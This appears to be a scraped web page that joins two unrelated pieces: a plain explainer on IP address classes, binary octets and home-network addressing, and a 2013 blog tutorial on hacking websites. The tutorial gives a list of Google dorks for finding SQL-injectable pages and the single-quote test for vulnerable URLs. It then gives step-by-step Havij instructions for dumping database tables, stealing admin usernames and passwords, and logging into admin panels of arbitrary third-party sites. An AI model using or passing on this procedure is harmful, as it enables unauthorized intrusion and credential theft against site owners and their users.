Short for Internet Protocol, IP is an address of a computer or other network device on a network using IP or TCP/IP. For example, the number "166.70.10.23" is an example of such an address. These addresses are similar to an addresses used on a house and is what allows data to reach the appropriate destination on a network and the Internet.

There are five classes of available IP ranges: Class A, Class B, Class C, Class D and Class E, while only A, B, and C are commonly used. Each class allows for a range of valid IP addresses. Below is a listing of these addresses.

Class	Address Range	Supports
Class A	1.0.0.1 to 126.255.255.254	Supports 16 million hosts on each of 127 networks.
Class B	128.1.0.1 to 191.255.255.254	Supports 65,000 hosts on each of 16,000 networks.
Class C	192.0.1.1 to 223.255.254.254	Supports 254 hosts on each of 2 million networks.
Class D	224.0.0.0 to 239.255.255.255	Reserved for multicast groups.
Class E	240.0.0.0 to 254.255.255.254	Reserved for future use, or Research and Development Purposes.

Ranges 127.x.x.x are reserved for the loopback or localhost, for example, 127.0.0.1 is the common loopback address. Range 255.255.255.255 broadcasts to all hosts on the local network.

IP address breakdown

Every IP address is broke down into four sets of octets that break down into binary to represent the actual IP address. The below table is an example of the IP 255.255.255.255. If you are new to binary, we highly recommend reading our binary and hexadecimal conversions section to get a better understanding of what we're doing in the below charts.

IP:	255	255	255	255
Binary value:	11111111	11111111	11111111	11111111
Octet value:	8	8	8	8

If we were to break down the IP "166.70.10.23", you would get the below value. In the below table, the first row is the IP address, the second row is the binary values, and the third row shows how the binary value equals the section of the IP address.

166	70	10	23
10100110	01000110	00001010	00010111
128+32+4+2=166	64+4+2=70	8+2=10	16+4+2+1=23

Automatically assigned addresses

There are several IP addresses that are automatically assigned when you setup a home network. These default addresses are what allow your computer and other network devices to communicate and broadcast information over your network. Below is the most commonly assigned network addresses in a home network.

192.168.1.0	0 is the automatically assigned network address.
192.168.1.1	1 is the commonly used address used as the gateway.
192.168.1.2	2 is also a commonly used address used for a gateway.
192.168.1.3 - 254	Addresses beyond 3 are assigned to computers and devices on the network.
192.168.1.255	255 is automatically assigned on most networks as the broadcast address.

If you have ever connected to your home network, you should be familiar with the gateway address or 192.168.1.1, which is the address you use to connect to your home network router and change its settings.

Getting an IP address

By default the router you use will assign each of your computers their own IP address, often using NAT to forward the data coming from those computers to outside networks such as the Internet. If you need to register an IP address that can be seen on the Internet, you must register through InterNIC or use a web host that can assign you addresses.

Anyone who connects to the Internet is assigned an IP address by their Internet Service Provider (ISP) who has registered a range of IP addresses. For example, lets assume your ISP is given 100 addresses, 109.145.93.150-250. This means the ISP owns addresses 109.145.93.150 to 109.145.93.250 and is able to assign any address in that range to its customers. So, all these addresses belong to your ISP address until they are assigned to a customers computer. In the case of a dial-up connection, you are given a new IP address each time you dial into your ISP. With most broadband Internet service providers because you are always connected to the Internet your address rarely changes and will remain the same until the service provider requires it to be changed.

Hack WebSite's - Admin login Using Havij

noreply@blogger.com (Unknown) — Mon, 06 May 2013 11:38:00 +0000

Hi Friends in this Tutorial i will Tell you How to Hack Web Sites With Sql Injection tool, there are large amount of sql vulnerable sites available.

Google Dorks: Google dorks are specifically query's that can reveal all the information about the specific website. I am giving you some Google dorks which you can use for finding the website vulnerable to sql injection.

addToCart.php?idProduct=

addtomylist.php?ProdId=

add-to-cart.php?ID=

adminEditProductFields.php?intProdID=

advSearch_h.php?idCategory=

affiliate.php?ID=

affiliate-agreement.cfm?storeid=

affiliates.php?id=

ancillary.php?ID=

archive.php?id=

article.php?id=

phpx?PageID

basket.php?id=

Book.php?bookID=

book_list.php?bookid=

book_view.php?bookid=

BookDetails.php?ID=

Finding target:

1) Now just paste any one of the query in Google search box you will get a lot of websites.

2) Now open any of the website so you will get the link like this.
www.example/index.php?id=12 or any number

3) We have to just add a single quote (') at the end of link so it will become some thing like this.
www.example.com/index.php?id=12'

4) Look closely at the page before adding single quote (') and after adding single quote (') . If the some element of the page is missing then Bingo!!! you have found a vulnerable website. Now we can start our sql injection. And if the page remains the same or show's error like page not found then it is not vulnerable and you should move to another website.

Now we have our target ready so what are you waiting for just attack.

1) First of all download Havij 1.15

Download Havij

2) Now extract it and run it. It will look some thing like this.

3) Now paste your target in the highlighted box. And click analyze.

4) Let it analyze your target for some time. and then you will see something like this.

5) Now click on "Tables" tab. You will see something like this.

6) Now click on "Get DBs" ( Make sure you have tick-marked on the first option, let it be anything ). Now wait for about a minute you will some thing like this.

7) Now tick-mark both the option's. And click on "Get Tables". And wait for some 2-3 minutes. You will get a lot of information from this. It'll look something like this.

8) Now search something sensitive like admin, users, login, passwords, and many more. Tick-mark them and click on "Get Columns". You will see something like this.

9) Now there you have user_id, password, user_name. Now tick-mark them and select "Get Data". You will see something like this.

10) Now find admin panel. And login using the user_id and password found.